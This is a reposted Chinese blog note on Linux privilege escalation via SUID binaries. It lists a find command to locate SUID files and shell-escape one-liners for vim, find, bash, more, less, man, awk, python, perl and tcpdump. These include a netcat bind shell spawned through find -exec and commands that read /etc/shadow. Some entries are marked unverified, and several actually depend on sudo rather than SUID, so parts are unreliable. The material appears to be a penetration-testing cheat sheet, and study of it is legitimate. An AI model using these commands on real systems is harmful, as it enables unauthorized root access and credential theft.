Linux提權之SUID提權


本篇文章非原創,用作筆記方便后期查詢,原創作者微信公眾號“黑白之道”如有侵權,聯系刪除

什么是suid?

通俗的理解為其他用戶執行這個程序的時候可以用該程序所有者/組的權限。

常見的可用於suid提權的命令

Vim find Bash More Less  cp


chmod


ash/linux shell



awk


mv

man

  python

 perl

 
        

tcpdump

 
        


查找suid文件
find / -perm -u=s -type f 2>/dev/null


/表示從文件系統的頂部(根)開始並找到每個目錄
-perm 表示搜索隨后的權限
-u = s表示查找root用戶擁有的文件
-type表示我們正在尋找的文件類型
f 表示常規文件,而不是目錄或特殊文件
2表示該進程的第二個文件描述符,即stderr(標准錯誤)
>表示重定向
/ dev / null是一個特殊的文件系統對象,它將丟棄寫入其中的所有內容。
 
        

 

Vim
Vim是Linux環境下的一款文件編輯器。但是,如果以SUID運行的話,它會繼承root用戶的權限,因此可以讀取系統上的所有文件。
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
 
        

 find

如果Find命令也是以Suid權限運行的話,則將通過find執行的所有命令都會以root權限執行。

 

touch pentestlab
find pentestlab -exec whoami \;

 

 大部分Linux操作系統都安裝了netcat,因此也可以被利用來將權限提升至root。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
連接上去就會直接獲取到一個Root權限的shell。
  1. netcat 192.168.1.189 5555
  2. id
  3. cat /etc/shadow
Bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
 
        

 More

 

more /home/pelle/myfile
!/bin/bash

 

 

Less
less /etc/passwd
!/bin/sh
 
        

 cp(暫未驗證)

 

sudo sh -c 'cp $(which cp) .; chmod +s ./cp'

 

 chmod(暫未驗證)

 

sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'

 

 ash/linux shell

 

sudo ash

 

 awk

awk 'BEGIN {system("/bin/bash")}'

 

mv(暫時未有實例)

 

使用mv 覆蓋 /etc/shadow 或者/etc/sudoers

 

  man

 

man passwd
!/bin/bash

 

 python

 

import os
os.system("/bin/bash")

 

 perl

 

exec "/bin/bash";

 

 ruby/lua/etc也有相似

 

tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

 

后續再找到再補充

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM